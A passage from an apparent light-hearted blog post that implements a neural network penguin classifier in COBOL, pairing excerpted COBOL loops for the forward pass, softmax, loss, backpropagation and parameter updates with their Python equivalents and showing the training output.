*    HIDDEN LAYER COMPUTATION: Z1 = X * W1 + B1.
PERFORM VARYING IDX-J FROM 1 BY 1 UNTIL IDX-J > 16
    MOVE B1-VAL(IDX-J) TO Z1-VAL(IDX-I, IDX-J)
    COMPUTE Z1-VAL(IDX-I, IDX-J) = 
            Z1-VAL(IDX-I, IDX-J) +
            (D-X1(IDX-I) * W1-VAL(1, IDX-J))
    COMPUTE Z1-VAL(IDX-I, IDX-J) = 
            Z1-VAL(IDX-I, IDX-J) +
            (D-X2(IDX-I) * W1-VAL(2, IDX-J))
    COMPUTE Z1-VAL(IDX-I, IDX-J) = 
            Z1-VAL(IDX-I, IDX-J) +
            (D-X3(IDX-I) * W1-VAL(3, IDX-J))
    COMPUTE Z1-VAL(IDX-I, IDX-J) = 
            Z1-VAL(IDX-I, IDX-J) +
            (D-X4(IDX-I) * W1-VAL(4, IDX-J))

This is matrix multiplication, expressed as stubbornness.

forward pass: ReLU

Python: h = np.maximum(0, z1)

COBOL: an IF statement in a loop.

*    NON-LINEAR ACTIVATION: RELU(Z) = MAX(0, Z).
IF Z1-VAL(IDX-I, IDX-J) > 0
    MOVE Z1-VAL(IDX-I, IDX-J) TO H-VAL(IDX-I, IDX-J)
ELSE
    MOVE 0 TO H-VAL(IDX-I, IDX-J)
END-IF

forward pass: output layer

Python: z2 = h @ W2 + b2

COBOL: same pattern, different dimensions.

*    OUTPUT LAYER COMPUTATION: Z2 = H * W2 + B2.
PERFORM VARYING IDX-J FROM 1 BY 1 UNTIL IDX-J > 3
    MOVE B2-VAL(IDX-J) TO Z2-VAL(IDX-I, IDX-J)
    PERFORM VARYING IDX-K FROM 1 BY 1 UNTIL IDX-K > 16
        COMPUTE Z2-VAL(IDX-I, IDX-J) = 
                Z2-VAL(IDX-I, IDX-J) + 
                (H-VAL(IDX-I, IDX-K) * 
                 W2-VAL(IDX-K, IDX-J))
    END-PERFORM
END-PERFORM

forward pass: softmax

Python: vectorized exponentials and division.

COBOL: two-pass algorithm with explicit accumulation.

*    PROBABILITY ESTIMATION: SOFTMAX(Z2).
*    P_i = EXP(Z_i) / SUM(EXP(Z_j)).
COMPUTE P-VAL(IDX-I, 1) = FUNCTION EXP(Z2-VAL(IDX-I, 1))
COMPUTE P-VAL(IDX-I, 2) = FUNCTION EXP(Z2-VAL(IDX-I, 2))
COMPUTE P-VAL(IDX-I, 3) = FUNCTION EXP(Z2-VAL(IDX-I, 3))
MOVE 0 TO WS-TEMP-MATH
ADD P-VAL(IDX-I, 1) P-VAL(IDX-I, 2) P-VAL(IDX-I, 3) 
  TO WS-TEMP-MATH
COMPUTE P-VAL(IDX-I, 1) = P-VAL(IDX-I, 1) / WS-TEMP-MATH
COMPUTE P-VAL(IDX-I, 2) = P-VAL(IDX-I, 2) / WS-TEMP-MATH
COMPUTE P-VAL(IDX-I, 3) = P-VAL(IDX-I, 3) / WS-TEMP-MATH

loss calculation

Python: loss = -np.mean(np.log(probs[range(n), y]))

COBOL: loop over samples, accumulate negative log probabilities.

*    CROSS-ENTROPY LOSS: L = -SUM(Y_TRUE * LOG(P_PRED)).
MOVE 0 TO WS-LOSS
PERFORM VARYING IDX-S FROM 1 BY 1 
        UNTIL IDX-S > WS-TRAIN-ROWS
    COMPUTE IDX-I = WS-IDX(IDX-S)
    COMPUTE IDX-J = D-Y(IDX-I) + 1
    COMPUTE WS-LOSS = WS-LOSS - 
                      FUNCTION LOG(P-VAL(IDX-I, IDX-J))
END-PERFORM
COMPUTE WS-LOSS = WS-LOSS / WS-TRAIN-ROWS

backpropagation: output gradient

Python: dz2 = probs - y_onehot

COBOL: copy probabilities, then subtract 1 from the true class.

*    DERIVATIVE OF SOFTMAX CW CROSS-ENTROPY: DZ2 = P - Y_TRUE.
PERFORM VARYING IDX-J FROM 1 BY 1 UNTIL IDX-J > 3
    MOVE P-VAL(IDX-I, IDX-J) TO BP-DZ2(IDX-J)
END-PERFORM
COMPUTE IDX-K = D-Y(IDX-I) + 1
SUBTRACT 1 FROM BP-DZ2(IDX-K)

backpropagation: W2 and b2 gradients

Python: dW2 = h.T @ dz2 / n and db2 = dz2.mean(axis=0)

COBOL: accumulate gradients across all samples, then average during update.

*    ACCUMULATE DW2 = H^T * DZ2 | DB2 = DZ2.
PERFORM VARYING IDX-J FROM 1 BY 1 UNTIL IDX-J > 3
    COMPUTE DB2-VAL(IDX-J) = DB2-VAL(IDX-J) + 
                             BP-DZ2(IDX-J)
    PERFORM VARYING IDX-K FROM 1 BY 1 UNTIL IDX-K > 16
        COMPUTE DW2-VAL(IDX-K, IDX-J) = 
                DW2-VAL(IDX-K, IDX-J) + 
                (H-VAL(IDX-I, IDX-K) * BP-DZ2(IDX-J))
    END-PERFORM
END-PERFORM

backpropagation: hidden layer gradient

Python: dh = dz2 @ W2.T

COBOL: explicit matrix-vector product.

*    BACKPROP TO HIDDEN LAYER: DH = DZ2 * W2^T.
PERFORM VARYING IDX-J FROM 1 BY 1 UNTIL IDX-J > 16
    MOVE 0 TO BP-DH(IDX-J)
    PERFORM VARYING IDX-K FROM 1 BY 1 UNTIL IDX-K > 3
        COMPUTE BP-DH(IDX-J) = BP-DH(IDX-J) + 
                (BP-DZ2(IDX-K) * W2-VAL(IDX-J, IDX-K))
    END-PERFORM

backpropagation: ReLU gradient

Python: dz1 = dh * (z1 > 0)

COBOL: IF statement as a gate.

*    DERIVATIVE OF RELU: DZ1 = DH IF Z1 > 0 ELSE 0.
IF Z1-VAL(IDX-I, IDX-J) > 0
    MOVE BP-DH(IDX-J) TO BP-DZ1(IDX-J)
ELSE
    MOVE 0 TO BP-DZ1(IDX-J)
END-IF

backpropagation: W1 and b1 gradients

Python: dW1 = X.T @ dz1 / n

COBOL: accumulate outer products.

*    ACCUMULATE DW1 = X^T * DZ1 | DB1 = DZ1.
COMPUTE DB1-VAL(IDX-J) = DB1-VAL(IDX-J) + 
                         BP-DZ1(IDX-J)
IF BP-DZ1(IDX-J) NOT = 0
    COMPUTE DW1-VAL(1, IDX-J) = 
      DW1-VAL(1, IDX-J) + 
      (D-X1(IDX-I) * BP-DZ1(IDX-J))
    COMPUTE DW1-VAL(2, IDX-J) = 
      DW1-VAL(2, IDX-J) + 
      (D-X2(IDX-I) * BP-DZ1(IDX-J))
    COMPUTE DW1-VAL(3, IDX-J) = 
      DW1-VAL(3, IDX-J) + 
      (D-X3(IDX-I) * BP-DZ1(IDX-J))
    COMPUTE DW1-VAL(4, IDX-J) = 
      DW1-VAL(4, IDX-J) + 
      (D-X4(IDX-I) * BP-DZ1(IDX-J))
END-IF

parameter update

Python: W -= lr * dW

COBOL: compute scaled learning rate once, then apply to all parameters.

*    PERFORM PARAMETER UPDATES: PARAM = PARAM - LR * GRADIENT.
COMPUTE WS-TEMP-MATH = WS-LR / WS-TRAIN-ROWS
PERFORM VARYING IDX-I FROM 1 BY 1 UNTIL IDX-I > 16
    PERFORM VARYING IDX-J FROM 1 BY 1 UNTIL IDX-J > 3
        COMPUTE W2-VAL(IDX-I, IDX-J) = 
                W2-VAL(IDX-I, IDX-J) - 
                (WS-TEMP-MATH * DW2-VAL(IDX-I, IDX-J))
    END-PERFORM
    COMPUTE B1-VAL(IDX-I) = B1-VAL(IDX-I) - 
                            (WS-TEMP-MATH * DB1-VAL(IDX-I))
END-PERFORM

evaluation

Inference is the same forward pass without gradients. Prediction is argmax:

*    PREDICATE SELECTION: ARGMAX PROBABILITY.
EVALUATE TRUE
    WHEN P-VAL(IDX-I, 1) >= P-VAL(IDX-I, 2) AND 
         P-VAL(IDX-I, 1) >= P-VAL(IDX-I, 3)
        MOVE 0 TO WS-PRED-CLASS
    WHEN P-VAL(IDX-I, 2) >= P-VAL(IDX-I, 1) AND 
         P-VAL(IDX-I, 2) >= P-VAL(IDX-I, 3)
        MOVE 1 TO WS-PRED-CLASS
    WHEN OTHER
        MOVE 2 TO WS-PRED-CLASS
END-EVALUATE

grand finale

To compile these 578 lines of pure madness, just keep calm and use gnucobol:

$ cobc -x -o pengu_nn pengu_nn.cob && ./pengu_nn
LOADED 0333 VALID ROWS.
DATA HOUSEKEEPING COMPLETED.
EPOCH 0000 LOSS: +000000001.098705953
EPOCH 0050 LOSS: +000000000.948385870
EPOCH 0100 LOSS: +000000000.404952448
EPOCH 0150 LOSS: +000000000.254336047
EPOCH 0200 LOSS: +000000000.157729394
EPOCH 0250 LOSS: +000000000.097222933
EPOCH 0300 LOSS: +000000000.067910843
EPOCH 0350 LOSS: +000000000.052804836
EPOCH 0400 LOSS: +000000000.043876194
EPOCH 0450 LOSS: +000000000.037968264
EPOCH 0500 LOSS: +000000000.033755593
TEST ACCURACY: +000000001.000000000
TRAIN ACCURACY: +000000000.988721804

Does it work? Yes. Painfully. Slowly. Correctly.

I know what you are thinking: why on earth I put 500 epochs for such a small dataset? Coz’ we can. 😎

The penguins get classified. The loss goes down. The mainframe hums in approval. Somewhere, a finance department nods without understanding why.

You can find the full working code, including all the ugly declarations I spared you from, in this github repo.